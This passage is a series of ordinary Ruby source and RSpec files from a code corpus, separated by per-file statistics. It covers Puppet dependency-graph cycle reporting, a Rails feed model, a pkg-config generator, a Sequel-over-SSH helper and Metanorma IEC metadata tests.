tables, we need to sort the cycles internally, as well as # the set of cycles. # # Given we are in a failure state here, any extra cost is more or less # irrelevant compared to the cost of a fix - which is on a human # time-scale. state[:scc].select do |component| multi_vertex_component?(component) || single_vertex_referring_to_self?(component) end.map do |component| component.sort end.sort end # Perform a BFS on the sub graph representing the cycle, with a view to # generating a sufficient set of paths to report the cycle meaningfully, and # ideally usefully, for the end user. # # BFS is preferred because it will generally report the shortest paths # through the graph first, which are more likely to be interesting to the # user. I think; it would be interesting to verify that. --daniel 2011-01-23 def paths_in_cycle(cycle, max_paths = 1) #TRANSLATORS "negative or zero" refers to the count of paths raise ArgumentError, _("negative or zero max_paths") if max_paths < 1 # Calculate our filtered outbound vertex lists... adj = {} cycle.each do |vertex| adj[vertex] = adjacent(vertex).select{|s| cycle.member? s} end found = [] # frame struct is vertex, [path] stack = [[cycle.first, []]] while frame = stack.shift do if frame[1].member?(frame[0]) then found << frame[1] + [frame[0]] break if found.length >= max_paths else adj[frame[0]].each do |to| stack.push [to, frame[1] + [frame[0]]] end end end return found.sort end # @return [Array] array of dependency cycles (arrays) def report_cycles_in_graph cycles = find_cycles_in_graph number_of_cycles = cycles.length return if number_of_cycles == 0 message = n_("Found %{num} dependency cycle:\n", "Found %{num} dependency cycles:\n", number_of_cycles) % { num: number_of_cycles } cycles.each do |cycle| paths = paths_in_cycle(cycle) message += paths.map{ |path| '(' + path.join(' => ') + ')'}.join('\n') + '\n' end if Puppet[:graph] then filename = write_cycles_to_graph(cycles) message += _("Cycle graph written to %{filename}.") % { filename: filename } else #TRANSLATORS '--graph' refers to a command line option and OmniGraffle and GraphViz are program names and should not be translated message += _("Try the '--graph' option and opening the resulting '.dot' file in OmniGraffle or GraphViz") end Puppet.err(message) cycles end def write_cycles_to_graph(cycles) # This does not use the DOT graph library, just writes the content # directly. Given the complexity of this, there didn't seem much point # using a heavy library to generate exactly the same content. --daniel 2011-01-27 graph = ["digraph Resource_Cycles {"] graph << ' label = "Resource Cycles"' cycles.each do |cycle| paths_in_cycle(cycle, 10).each do |path| graph << path.map { |v| '"' + v.to_s.gsub(/"/, '\\"') + '"' }.join(" -> ") end end graph << '}' filename = File.join(Puppet[:graphdir], "cycles.dot") # DOT files are assumed to be UTF-8 by default - http://www.graphviz.org/doc/info/lang.html File.open(filename, "w:UTF-8") { |f| f.puts graph } return filename end # Add a new vertex to the graph. def add_vertex(vertex) @in_to[vertex] ||= {} @out_from[vertex] ||= {} end # Remove a vertex from the graph. def remove_vertex!(v) return unless vertex?(v) @upstream_from.clear @downstream_from.clear (@in_to[v].values+@out_from[v].values).flatten.each { |e| remove_edge!(e) } @in_to.delete(v) @out_from.delete(v) end # Test whether a given vertex is in the graph. def vertex?(v) @in_to.include?(v) end # Return a list of all vertices. def vertices @in_to.keys end # Add a new edge. The graph user has to create the edge instance, # since they have to specify what kind of edge it is. def add_edge(e,*a) return add_relationship(e,*a) unless a.empty? e = Puppet::Relationship.from_data_hash(e) if e.is_a?(Hash) @upstream_from.clear @downstream_from.clear add_vertex(e.source) add_vertex(e.target) # Avoid multiple lookups here. This code is performance critical arr = (@in_to[e.target][e.source] ||= []) arr << e unless arr.include?(e) arr = (@out_from[e.source][e.target] ||= []) arr << e unless arr.include?(e) end def add_relationship(source, target, label = nil) add_edge Puppet::Relationship.new(source, target, label) end # Find all matching edges. def edges_between(source, target) (@out_from[source] || {})[target] || [] end # Is there an edge between the two vertices? def edge?(source, target) vertex?(source) and vertex?(target) and @out_from[source][target] end def edges @in_to.values.collect { |x| x.values }.flatten end def each_edge @in_to.each { |t,ns| ns.each { |s,es| es.each { |e| yield e }}} end # Remove an edge from our graph. def remove_edge!(e) if edge?(e.source,e.target) @upstream_from.clear @downstream_from.clear @in_to [e.target].delete e.source if (@in_to [e.target][e.source] -= [e]).empty? @out_from[e.source].delete e.target if (@out_from[e.source][e.target] -= [e]).empty? end end # Find adjacent edges. def adjacent(v, options = {}) return [] unless ns = (options[:direction] == :in) ? @in_to[v] : @out_from[v] (options[:type] == :edges) ? ns.values.flatten : ns.keys end # Just walk the tree and pass each edge. def walk(source, direction) # Use an iterative, breadth-first traversal of the graph. One could do # this recursively, but Ruby's slow function calls and even slower # recursion make the shorter, recursive algorithm cost-prohibitive. stack = [source] seen = Set.new until stack.empty? node = stack.shift next if seen.member? node connected = adjacent(node, :direction => direction) connected.each do |target| yield node, target end stack.concat(connected) seen << node end end # A different way of walking a tree, and a much faster way than the # one that comes with GRATR. def tree_from_vertex(start, direction = :out) predecessor={} walk(start, direction) do |parent, child| predecessor[child] = parent end predecessor end def downstream_from_vertex(v) return @downstream_from[v] if @downstream_from[v] result = @downstream_from[v] = {} @out_from[v].keys.each do |node| result[node] = 1 result.update(downstream_from_vertex(node)) end result end def direct_dependents_of(v) (@out_from[v] || {}).keys end def upstream_from_vertex(v) return @upstream_from[v] if @upstream_from[v] result = @upstream_from[v] = {} @in_to[v].keys.each do |node| result[node] = 1 result.update(upstream_from_vertex(node)) end result end def direct_dependencies_of(v) (@in_to[v] || {}).keys end # Return an array of the edge-sets between a series of n+1 vertices (f=v0,v1,v2...t=vn) # connecting the two given vertices. The ith edge set is an array containing all the # edges between v(i) and v(i+1); these are (by definition) never empty. # # * if f == t, the list is empty # * if they are adjacent the result is an array consisting of # a single array (the edges from f to t) # * and so on by induction on a vertex m between them # * if there is no path from f to t, the result is nil # # This implementation is not particularly efficient; it's used in testing where clarity # is more important than last-mile efficiency. # def path_between(f,t) if f==t [] elsif direct_dependents_of(f).include?(t) [edges_between(f,t)] elsif dependents(f).include?(t) m = (dependents(f) & direct_dependencies_of(t)).first path_between(f,m) + path_between(m,t) else nil end end # LAK:FIXME This is just a paste of the GRATR code with slight modifications. # Return a DOT::DOTDigraph for directed graphs or a DOT::DOTSubgraph for an # undirected Graph. _params_ can contain any graph property specified in # rdot.rb. If an edge or vertex label is a kind of Hash then the keys # which match +dot+ properties will be used as well. def to_dot_graph(params = {}) params['name'] ||= self.class.name.gsub(/:/,'_') fontsize = params['fontsize'] ? params['fontsize'] : '8' graph = (directed? ? DOT::DOTDigraph : DOT::DOTSubgraph).new(params) edge_klass = directed? ? DOT::DOTDirectedEdge : DOT::DOTEdge vertices.each do |v| name = v.ref params = {'name' => stringify(name), 'fontsize' => fontsize, 'label' => name} v_label = v.ref params.merge!(v_label) if v_label and v_label.kind_of? Hash graph << DOT::DOTNode.new(params) end edges.each do |e| params = {'from' => stringify(e.source.ref), 'to' => stringify(e.target.ref), 'fontsize' => fontsize } e_label = e.ref params.merge!(e_label) if e_label and e_label.kind_of? Hash graph << edge_klass.new(params) end graph end def stringify(s) %("#{s.gsub('"', '\\"')}") end # Output the dot format as a string def to_dot(params={}) to_dot_graph(params).to_s; end # Produce the graph files if requested. def write_graph(name) return unless Puppet[:graph] file = File.join(Puppet[:graphdir], "#{name}.dot") # DOT files are assumed to be UTF-8 by default - http://www.graphviz.org/doc/info/lang.html File.open(file, "w:UTF-8") { |f| f.puts to_dot("name" => name.to_s.capitalize) } end # This flag may be set to true to use the new YAML serialization # format (where @vertices is a simple list of vertices rather than a # list of VertexWrapper objects). Deserialization supports both # formats regardless of the setting of this flag. class << self attr_accessor :use_new_yaml_format end self.use_new_yaml_format = false def initialize_from_hash(hash) initialize vertices = hash['vertices'] edges = hash['edges'] if vertices.is_a?(Hash) # Support old (2.6) format vertices = vertices.keys end vertices.each { |v| add_vertex(v) } unless vertices.nil? edges.each { |e| add_edge(e) } unless edges.nil? end def to_data_hash hash = { 'edges' => edges.map(&:to_data_hash) } hash['vertices'] = if self.class.use_new_yaml_format vertices else # Represented in YAML using the old (version 2.6) format. result = {} vertices.each do |vertex| adjacencies = {} [:in, :out].each do |direction| direction_hash = {} adjacencies[direction.to_s] = direction_hash adjacent(vertex, :direction => direction, :type => :edges).each do |edge| other_vertex = direction == :in ? edge.source : edge.target (direction_hash[other_vertex.to_s] ||= []) << edge end direction_hash.each_pair { |key, edges| direction_hash[key] = edges.uniq.map(&:to_data_hash) } end vname = vertex.to_s result[vname] = { 'adjacencies' => adjacencies, 'vertex' => vname } end result end hash end def multi_vertex_component?(component) component.length > 1 end private :multi_vertex_component? def single_vertex_referring_to_self?(component) if component.length == 1 vertex = component[0] adjacent(vertex).include?(vertex) else false end end private :single_vertex_referring_to_self? end
32.181985
136
0.639915
397dab4c7b31ecbd0a813ff659b4c92c49b9bc3e
1,272
# frozen_string_literal: true require 'common/models/concerns/cache_aside' module EVSS module Dependents ## # Model for caching a user's retrieved info. # # @!attribute user # @return [User] User object. # class RetrievedInfo < Common::RedisStore include Common::CacheAside redis_config_key :evss_dependents_retrieve_response attr_accessor :user ## # Fetches retreived info for a user # # @param user [User] user object # @return [RetrievedInfo] an instance of the class with an assigned user # def self.for_user(user) ri = RetrievedInfo.new ri.user = user ri end ## # Creates a cached instance of a user's retrieved info # # @return [Hash] Retrieved info response body # def body do_cached_with(key: "evss_dependents_retrieve_#{@user.uuid}") do raw_response = EVSS::Dependents::Service.new(@user).retrieve EVSS::Dependents::RetrieveInfoResponse.new(raw_response.status, raw_response) end.body end ## # Deletes retrieved info cache # def delete self.class.delete("evss_dependents_retrieve_#{@user.uuid}") end end end end
24
87
0.625
f840380065d1f045b0b753ddaabab5e3cbc85c09
247
require 'spec_helper' RSpec.describe PJBank::Client do describe "#recebimentos" do it "returns an instance of PJBank::Recebimento::Controller" do expect(subject.recebimentos).to be_a(PJBank::Recebimento::Controller) end end end
24.7
75
0.744939
bb1ce8ed6c601d4defc9851b8de76da13c34ef7a
3,053
# frozen_string_literal: true require 'facets/file/atomic_open' require 'facets/file/atomic_write' require 'xezat/variables' module Xezat class UnregeneratableConfigurationError < StandardError end class AutotoolsFileNotFoundError < StandardError end module Generator class Pkgconfig include Xezat def initialize(options, cygport) @options = options @cygport = cygport end def generate vars = variables(@cygport) generate_pkg_config(vars, @options) if vars[:_cmake_CYGCLASS_] append_commands_to_cmakelists(vars) else append_commands_to_autotools(vars) end end def generate_pkg_config(variables, options) srcdir = variables[:CYGCONF_SOURCE] || variables[:CYGCMAKE_SOURCE] || variables[:S] pn = variables[:PN] pc = File.expand_path(File.join(srcdir, "#{pn}.pc.in")) raise UnregeneratableConfigurationError, "#{pn}.pc.in already exists" if File.exist?(pc) && !options['overwrite'] File.atomic_write(pc) do |f| f.write(get_pkg_config(variables)) end end def get_pkg_config(variables) erb = File.expand_path(File.join(TEMPLATE_DIR, 'pkgconfig.erb')) ERB.new(File.readlines(erb).join(nil), trim_mode: '%-').result(binding) end def append_commands_to_cmakelists(variables) srcdir = variables[:CYGCMAKE_SOURCE] || variables[:S] cmakelists = File.expand_path(File.join(srcdir, 'CMakeLists.txt')) return if %r!DESTINATION ${CMAKE_INSTALL_PREFIX}/lib/pkgconfig!.match?(File.read(cmakelists)) File.atomic_open(cmakelists, 'a') do |f| f.write(get_cmakelists(variables)) end end def get_cmakelists(variables) erb = File.expand_path(File.join(TEMPLATE_DIR, 'cmake.erb')) ERB.new(File.readlines(erb).join(nil), trim_mode: '%-').result(binding) end def append_commands_to_autotools(variables) srcdir = variables[:CYGCONF_SOURCE] || variables[:S] pn = variables[:PN] configure_ac = File.expand_path(File.join(srcdir, 'configure.ac')) configure_ac = File.expand_path(File.join(srcdir, 'configure.in')) unless File.exist?(configure_ac) raise AutotoolsFileNotFoundError unless File.exist?(configure_ac) original_ac = File.read(configure_ac) return if /#{pn}.pc/.match?(original_ac) original_ac.gsub!(/(AC_CONFIG_FILES\(\[)/, "\\1#{"#{pn}.pc "}") File.atomic_write(configure_ac) do |fa| fa.write(original_ac) makefile_am = File.expand_path(File.join(srcdir, 'Makefile.am')) raise AutotoolsFileNotFoundError unless File.exist?(makefile_am) break if /pkgconfig_DATA/.match?(File.read(makefile_am)) commands_am = File.read(File.expand_path(File.join(TEMPLATE_DIR, 'Makefile.am'))) File.atomic_open(makefile_am, 'a') do |fm| fm.write(commands_am) end end end end end end
32.478723
121
0.655421
4af31cd48c2f3be18cc7bff807049753e4e32719
1,416
class Feed < ActiveRecord::Base attr_accessible :etag, :feed_url, :title, :url, :category_id belongs_to :category has_many :entries, dependent: :delete_all validates_uniqueness_of :feed_url def get_entries feed = Feedzirra::Feed.fetch_and_parse(self.feed_url) feed.entries.each do |e| entry = Entry.new entry.feed_id = self.id entry.title = e.title entry.url = e.url entry.author = e.author entry.summary = e.summary entry.published = e.published unless e.is_a?(Feedzirra::Parser::ITunesRSSItem) entry.content = e.content entry.categories = e.categories end entry.unread = true entry.save end self.unread = feed.entries.count self.save end def update_entries feed = Feedzirra::Feed.fetch_and_parse(self.feed_url, { if_modified_since: self.last_modified }) if feed.is_a?(Integer) == false and feed.last_modified < self.last_modified feed.entries.each do |e| entry = Entry.new entry.feed_id = self.id entry.title = e.title entry.url = e.url entry.author = e.author entry.summary = e.summary entry.content = e.content entry.published = e.published entry.categories = e.categories entry.unread = true if entry.save! self.unread += 1 end end self.save end end end
27.764706
100
0.637006
e913cab070cf65b691df725af1eda9967902ebef
973
require 'sequel' require 'uri' def sequel_connect(host, port, user = :me) login = Rake.context[:users][user.to_sym] adapter = Rake.context[:adapter] db = case adapter.to_sym when :mysql2 Sequel.connect(adapter: adapter, host: host, port: port, user: login[:username], password: login[:password], database: Rake.context[:database]) when :postgres Sequel.postgres(host: host, port: port, user: login[:username], password: login[:password], database: Rake.context[:database], client_min_messages: false, force_standard_strings: false) else puts "Unknown Sequel adapter type: #{adapter}" nil end [db, login[:username]] end def sequel(user = :me) raise "You must pass a block for this function to yield to" unless block_given? Rake::SSH.tunnel do |local, host, port| db, login = sequel_connect(host, port, user) yield db db.disconnect end end
36.037037
197
0.649538
338eb144398e222139598276effaaf7e09d93ef7
43,748
require "spec_helper" require "fileutils" RSpec.describe Asciidoctor::Iec do before(:all) do @blank_hdr = blank_hdr_gen end it "has a version number" do expect(Metanorma::Iec::VERSION).not_to be nil end it "processes a blank document" do input = <<~INPUT #{ASCIIDOC_BLANK_HDR} INPUT output = <<~OUTPUT #{@blank_hdr} <sections/> </iec-standard> OUTPUT expect(xmlpp(strip_guid(Asciidoctor.convert(input, *OPTIONS)))) .to be_equivalent_to xmlpp(output) end it "converts a blank document" do FileUtils.rm_f "test.doc" FileUtils.rm_f "test.html" FileUtils.rm_f "test.pdf" input = <<~INPUT = Document title Author :docfile: test.adoc :novalid: :no-isobib: INPUT output = <<~OUTPUT #{@blank_hdr} <sections/> </iec-standard> OUTPUT expect(xmlpp(strip_guid(Asciidoctor.convert(input, *OPTIONS)))) .to be_equivalent_to xmlpp(output) expect(File.exist?("test.pdf")).to be true expect(File.exist?("test.html")).to be true expect(File.exist?("test.doc")).to be true expect(File.exist?("htmlstyle.css")).to be false end it "processes default metadata" do input = <<~INPUT = Document title Author :docfile: test.adoc :nodoc: :novalid: :no-isobib: :docnumber: 1000 :partnumber: 1 :edition: 2 :revdate: 2000-01-01 :draft: 0.3.4 :technical-committee: TC :technical-committee-number: 1 :technical-committee-type: A :subcommittee: SC :subcommittee-number: 2 :subcommittee-type: B :workgroup: WG :workgroup-number: 3 :workgroup-type: C :technical-committee_2: TC1 :technical-committee-number_2: 11 :technical-committee-type_2: A1 :subcommittee_2: SC1 :subcommittee-number_2: 21 :subcommittee-type_2: B1 :workgroup_2: WG1 :workgroup-number_2: 31 :workgroup-type_2: C1 :secretariat: SECRETARIAT :docstage: 10 :docsubstage: 20 :iteration: 3 :language: en :title-intro-en: Introduction :title-main-en: Main Title -- Title :title-part-en: Title Part :title-intro-fr: Introduction Française :title-main-fr: Titre Principal :title-part-fr: Part du Titre :library-ics: 1,2,3 :accessibility-color-inside: true :price-code: XC :cen-processing: true :secretary: Fred Nerk :interest-to-committees: TC 6121, SC 12 :obsoletes: ABC; DEF INPUT output = <<~OUTPUT <?xml version="1.0" encoding="UTF-8"?> <iec-standard xmlns="https://www.metanorma.org/ns/iec" type="semantic" version="#{Metanorma::Iec::VERSION}"> <bibdata type='standard'> <title language='en' format='text/plain' type='main'> Introduction&#8201;&#8212;&#8201;Main Title&#8201;&#8212;&#8201;Title&#8201;&#8212;&#8201;Title Part </title> <title language='en' format='text/plain' type='title-intro'>Introduction</title> <title language='en' format='text/plain' type='title-main'>Main Title&#8201;&#8212;&#8201;Title</title> <title language='en' format='text/plain' type='title-part'>Title Part</title> <title language='fr' format='text/plain' type='main'> Introduction Fran&#231;aise&#8201;&#8212;&#8201;Titre Principal&#8201;&#8212;&#8201;Part du Titre </title> <title language='fr' format='text/plain' type='title-intro'>Introduction Fran&#231;aise</title> <title language='fr' format='text/plain' type='title-main'>Titre Principal</title> <title language='fr' format='text/plain' type='title-part'>Part du Titre</title> <docidentifier type='ISO'>IEC/3NWIP 1000-1 ED 2</docidentifier> <docnumber>1000</docnumber> <contributor> <role type='author'/> <organization> <name>International Electrotechnical Commission</name> <abbreviation>IEC</abbreviation> </organization> </contributor> <contributor> <role type='publisher'/> <organization> <name>International Electrotechnical Commission</name> <abbreviation>IEC</abbreviation> </organization> </contributor> <edition>2</edition> <version> <revision-date>2000-01-01</revision-date> <draft>0.3.4</draft> </version> <language>en</language> <script>Latn</script> <status> <stage abbreviation='NWIP'>10</stage> <substage abbreviation='??'>20</substage> <iteration>3</iteration> </status> <copyright> <from>#{Date.today.year}</from> <owner> <organization> <name>International Electrotechnical Commission</name> <abbreviation>IEC</abbreviation> </organization> </owner> </copyright> <relation type='obsoletes'> <bibitem> <title>--</title> <docidentifier>ABC</docidentifier> </bibitem> </relation> <relation type='obsoletes'> <bibitem> <title>--</title> <docidentifier>DEF</docidentifier> </bibitem> </relation> <ext> <doctype>article</doctype> <horizontal>false</horizontal> <editorialgroup> <technical-committee number='1' type='A'>TC</technical-committee> <technical-committee number='11' type='A1'>TC1</technical-committee> <subcommittee number='2' type='B'>SC</subcommittee> <subcommittee number='21' type='B1'>SC1</subcommittee> <workgroup number='3' type='C'>WG</workgroup> <workgroup number='31' type='C1'>WG1</workgroup> <secretariat>SECRETARIAT</secretariat> </editorialgroup> <ics> <code>1</code> </ics> <ics> <code>2</code> </ics> <ics> <code>3</code> </ics> <structuredidentifier> <project-number part='1'>IEC 1000</project-number> </structuredidentifier> <stagename>New work item proposal</stagename> <accessibility-color-inside>true</accessibility-color-inside> <price-code>XC</price-code> <cen-processing>true</cen-processing> <secretary>Fred Nerk</secretary> <interest-to-committees>TC 6121, SC 12</interest-to-committees> </ext> </bibdata> <boilerplate> <copyright-statement> <clause> <p id='_'> <strong>Copyright &#169; #{Date.today.year} International Electrotechnical Commission, IEC.</strong> All rights reserved. It is permitted to download this electronic file, to make a copy and to print out the content for the sole purpose of preparing National Committee positions. You may not copy or &#8220;mirror&#8221; the file or printed version of the document, or any part of it, for any other purpose without permission in writing from IEC. </p> </clause> </copyright-statement> <legal-statement> <clause> <ol id='_'> <li> <p id='_'> The International Electrotechnical Commission (IEC) is a worldwide organization for standardization comprising all national electrotechnical committees (IEC National Committees). The object of IEC is to promote international co-operation on all questions concerning standardization in the electrical and electronic fields. To this end and in addition to other activities, IEC publishes International Standards, Technical Specifications, Technical Reports, Publicly Available Specifications (PAS) and Guides (hereafter referred to as &#8220;IEC Publication(s)&#8221;). Their preparation is entrusted to technical committees; any IEC National Committee interested in the subject dealt with may participate in this preparatory work. International, governmental and non-governmental organizations liaising with the IEC also participate in this preparation. IEC collaborates closely with the International Organization for Standardization (ISO) in accordance with conditions determined by agreement between the two organizations. </p> </li> <li> <p id='_'> The formal decisions or agreements of IEC on technical matters express, as nearly as possible, an international consensus of opinion on the relevant subjects since each technical committee has representation from all interested IEC National Committees. </p> </li> <li> <p id='_'> IEC Publications have the form of recommendations for international use and are accepted by IEC National Committees in that sense. While all reasonable efforts are made to ensure that the technical content of IEC Publications is accurate, IEC cannot be held responsible for the way in which they are used or for any misinterpretation by any end user. </p> </li> <li> <p id='_'> In order to promote international uniformity, IEC National Committees undertake to apply IEC Publications transparently to the maximum extent possible in their national and regional publications. Any divergence between any IEC Publication and the corresponding national or regional publication shall be clearly indicated in the latter. </p> </li> <li> <p id='_'> IEC itself does not provide any attestation of conformity. Independent certification bodies provide conformity assessment services and, in some areas, access to IEC marks of conformity. IEC is not responsible for any services carried out by independent certification bodies. </p> </li> <li> <p id='_'>All users should ensure that they have the latest edition of this publication.</p> </li> <li> <p id='_'> No liability shall attach to IEC or its directors, employees, servants or agents including individual experts and members of its technical committees and IEC National Committees for any personal injury, property damage or other damage of any nature whatsoever, whether direct or indirect, or for costs (including legal fees) and expenses arising out of the publication, use of, or reliance upon, this IEC Publication or any other IEC Publications. </p> </li> <li> <p id='_'> Attention is drawn to the Normative references cited in this publication. Use of the referenced publications is indispensable for the correct application of this publication. </p> </li> <li> <p id='_'> Attention is drawn to the possibility that some of the elements of this IEC Publication may be the subject of patent rights. IEC shall not be held responsible for identifying any or all such patent rights. </p> </li> </ol> </clause> </legal-statement> <license-statement> <clause> <p id='_'> This document is still under study and subject to change. It should not be used for reference purposes. until published as such. </p> <p id='_'> Recipients of this document are invited to submit, with their comments, notification of any relevant patent rights of which they are aware and to provide supporting documentation. </p> </clause> </license-statement> <feedback-statement> <clause id='boilerplate-cenelec-attention'> <title>Attention IEC-CENELEC parallel voting</title> <p id='_'> The attention of IEC National Committees, members of CENELEC, is drawn to the fact that this (NWIP) is submitted for parallel voting. </p> <p id='_'>The CENELEC members are invited to vote through the CENELEC voting system.</p> </clause> </feedback-statement> </boilerplate> <sections> </sections> </iec-standard> OUTPUT expect(xmlpp(strip_guid(Asciidoctor.convert(input, *OPTIONS)))) .to be_equivalent_to xmlpp(output) end it "processes complex metadata" do input = <<~INPUT = Document title Author :docfile: test.adoc :nodoc: :novalid: :no-isobib: :docnumber: 1000 :partnumber: 1-1 :tc-docnumber: 2000 :language: el :script: Grek :publisher: IEC;IETF;ISO :copyright-year: 2001 :docstage: A2CD :doctype: technical-specification :function: emc :horizontal: true INPUT output = <<~OUTPUT <?xml version="1.0" encoding="UTF-8"?> <iec-standard xmlns="https://www.metanorma.org/ns/iec" type="semantic" version="#{Metanorma::Iec::VERSION}"> <bibdata type='standard'> <docidentifier type='ISO'>ISO/IEC/IETF/2CDTS 1000-1-1 ED 1</docidentifier> <docidentifier type='iso-tc'>2000</docidentifier> <docnumber>1000</docnumber> <contributor> <role type='author'/> <organization> <name>International Electrotechnical Commission</name> <abbreviation>IEC</abbreviation> </organization> </contributor> <contributor> <role type='author'/> <organization> <name>IETF</name> </organization> </contributor> <contributor> <role type='author'/> <organization> <name>International Organization for Standardization</name> <abbreviation>ISO</abbreviation> </organization> </contributor> <contributor> <role type='publisher'/> <organization> <name>International Electrotechnical Commission</name> <abbreviation>IEC</abbreviation> </organization> </contributor> <contributor> <role type='publisher'/> <organization> <name>IETF</name> </organization> </contributor> <contributor> <role type='publisher'/> <organization> <name>International Organization for Standardization</name> <abbreviation>ISO</abbreviation> </organization> </contributor> <language>el</language> <script>Grek</script> <status> <stage abbreviation='CD'>30</stage> <substage abbreviation='A22CD'>99</substage> <iteration>2</iteration> </status> <copyright> <from>2001</from> <owner> <organization> <name>International Electrotechnical Commission</name> <abbreviation>IEC</abbreviation> </organization> </owner> </copyright> <copyright> <from>2001</from> <owner> <organization> <name>IETF</name> </organization> </owner> </copyright> <copyright> <from>2001</from> <owner> <organization> <name>International Organization for Standardization</name> <abbreviation>ISO</abbreviation> </organization> </owner> </copyright> <ext> <doctype>technical-specification</doctype> <horizontal>true</horizontal> <function>emc</function> <editorialgroup> <technical-committee/> <subcommittee/> <workgroup/> </editorialgroup> <structuredidentifier> <project-number part='1' subpart='1'>ISO/IEC/IETF 1000</project-number> </structuredidentifier> <stagename>Committee draft</stagename> </ext> </bibdata> <boilerplate> <copyright-statement> <clause> <p id='_'> <strong>Copyright &#169; 2001 International Electrotechnical Commission, IEC.</strong> All rights reserved. It is permitted to download this electronic file, to make a copy and to print out the content for the sole purpose of preparing National Committee positions. You may not copy or &#8220;mirror&#8221; the file or printed version of the document, or any part of it, for any other purpose without permission in writing from IEC. </p> </clause> </copyright-statement> <legal-statement> <clause> <ol id='_'> <li> <p id='_'> The International Electrotechnical Commission (IEC) is a worldwide organization for standardization comprising all national electrotechnical committees (IEC National Committees). The object of IEC is to promote international co-operation on all questions concerning standardization in the electrical and electronic fields. To this end and in addition to other activities, IEC publishes International Standards, Technical Specifications, Technical Reports, Publicly Available Specifications (PAS) and Guides (hereafter referred to as &#8220;IEC Publication(s)&#8221;). Their preparation is entrusted to technical committees; any IEC National Committee interested in the subject dealt with may participate in this preparatory work. International, governmental and non-governmental organizations liaising with the IEC also participate in this preparation. IEC collaborates closely with the International Organization for Standardization (ISO) in accordance with conditions determined by agreement between the two organizations. </p> </li> <li> <p id='_'> The formal decisions or agreements of IEC on technical matters express, as nearly as possible, an international consensus of opinion on the relevant subjects since each technical committee has representation from all interested IEC National Committees. </p> </li> <li> <p id='_'> IEC Publications have the form of recommendations for international use and are accepted by IEC National Committees in that sense. While all reasonable efforts are made to ensure that the technical content of IEC Publications is accurate, IEC cannot be held responsible for the way in which they are used or for any misinterpretation by any end user. </p> </li> <li> <p id='_'> In order to promote international uniformity, IEC National Committees undertake to apply IEC Publications transparently to the maximum extent possible in their national and regional publications. Any divergence between any IEC Publication and the corresponding national or regional publication shall be clearly indicated in the latter. </p> </li> <li> <p id='_'> IEC itself does not provide any attestation of conformity. Independent certification bodies provide conformity assessment services and, in some areas, access to IEC marks of conformity. IEC is not responsible for any services carried out by independent certification bodies. </p> </li> <li> <p id='_'>All users should ensure that they have the latest edition of this publication.</p> </li> <li> <p id='_'> No liability shall attach to IEC or its directors, employees, servants or agents including individual experts and members of its technical committees and IEC National Committees for any personal injury, property damage or other damage of any nature whatsoever, whether direct or indirect, or for costs (including legal fees) and expenses arising out of the publication, use of, or reliance upon, this IEC Publication or any other IEC Publications. </p> </li> <li> <p id='_'> Attention is drawn to the Normative references cited in this publication. Use of the referenced publications is indispensable for the correct application of this publication. </p> </li> <li> <p id='_'> Attention is drawn to the possibility that some of the elements of this IEC Publication may be the subject of patent rights. IEC shall not be held responsible for identifying any or all such patent rights. </p> </li> </ol> </clause> </legal-statement> <license-statement> <clause> <p id='_'> This document is still under study and subject to change. It should not be used for reference purposes. until published as such. </p> <p id='_'> Recipients of this document are invited to submit, with their comments, notification of any relevant patent rights of which they are aware and to provide supporting documentation. </p> </clause> </license-statement> <feedback-statement> <clause id='boilerplate-cenelec-attention'> <title>Attention IEC-CENELEC parallel voting</title> <p id='_'> The attention of IEC National Committees, members of CENELEC, is drawn to the fact that this Committee Draft (CD) is submitted for parallel voting. </p> <p id='_'>The CENELEC members are invited to vote through the CENELEC voting system.</p> </clause> </feedback-statement> </boilerplate> <sections> </sections> </iec-standard> OUTPUT expect(xmlpp(strip_guid(Asciidoctor.convert(input, *OPTIONS)))) .to be_equivalent_to xmlpp(output) end it "processes boilerplate in English" do doc = strip_guid(Asciidoctor.convert(<<~"INPUT", *OPTIONS)) = Document title Author :docfile: test.adoc :nodoc: :novalid: :no-isobib: :docnumber: 1000 :partnumber: 1-1 :tc-docnumber: 2000 :language: en :script: Latn :publisher: IEC,IETF,ISO :copyright-year: 2001 INPUT expect(doc).to include "including individual experts" expect(doc).not_to include "y compris ses experts particuliers" end it "processes boilerplate in French" do doc = strip_guid(Asciidoctor.convert(<<~"INPUT", *OPTIONS)) = Document title Author :docfile: test.adoc :nodoc: :novalid: :no-isobib: :docnumber: 1000 :partnumber: 1-1 :tc-docnumber: 2000 :language: fr :script: Latn :publisher: IEC,IETF,ISO :copyright-year: 2001 INPUT expect(doc).not_to include "including individual experts" expect(doc).to include "y compris ses experts particuliers" end it "defaults substage" do input = <<~INPUT = Document title Author :docfile: test.adoc :nodoc: :novalid: :no-isobib: :docnumber: 1000 :docstage: 50 INPUT output = <<~OUTPUT <iec-standard xmlns="https://www.metanorma.org/ns/iec" type="semantic" version="#{Metanorma::Iec::VERSION}"> <bibdata type="standard"> <docidentifier type="ISO">IEC/FDIS 1000 ED 1</docidentifier> <docnumber>1000</docnumber> <contributor> <role type="author"/> <organization> <name>International Electrotechnical Commission</name> <abbreviation>IEC</abbreviation> </organization> </contributor> <contributor> <role type="publisher"/> <organization> <name>International Electrotechnical Commission</name> <abbreviation>IEC</abbreviation> </organization> </contributor> <language>en</language> <script>Latn</script> <status> <stage abbreviation="FDIS">50</stage> <substage abbreviation="RFDIS">00</substage> </status> <copyright> <from>#{Date.today.year}</from> <owner> <organization> <name>International Electrotechnical Commission</name> <abbreviation>IEC</abbreviation> </organization> </owner> </copyright> <ext> <doctype>article</doctype> <horizontal>false</horizontal> <editorialgroup> <technical-committee/> <subcommittee/> <workgroup/> </editorialgroup> <structuredidentifier> <project-number>IEC 1000</project-number> </structuredidentifier> <stagename>Final draft international standard</stagename> </ext> </bibdata> <boilerplate> <copyright-statement> <clause> <p id='_'> <strong>Copyright © #{Time.now.year} International Electrotechnical Commission, IEC.</strong> All rights reserved. It is permitted to download this electronic file, to make a copy and to print out the content for the sole purpose of preparing National Committee positions. You may not copy or “mirror” the file or printed version of the document, or any part of it, for any other purpose without permission in writing from IEC. </p> </clause> </copyright-statement> <legal-statement> <clause> <ol id='_'> <li> <p id='_'> The International Electrotechnical Commission (IEC) is a worldwide organization for standardization comprising all national electrotechnical committees (IEC National Committees). The object of IEC is to promote international co-operation on all questions concerning standardization in the electrical and electronic fields. To this end and in addition to other activities, IEC publishes International Standards, Technical Specifications, Technical Reports, Publicly Available Specifications (PAS) and Guides (hereafter referred to as “IEC Publication(s)”). Their preparation is entrusted to technical committees; any IEC National Committee interested in the subject dealt with may participate in this preparatory work. International, governmental and non-governmental organizations liaising with the IEC also participate in this preparation. IEC collaborates closely with the International Organization for Standardization (ISO) in 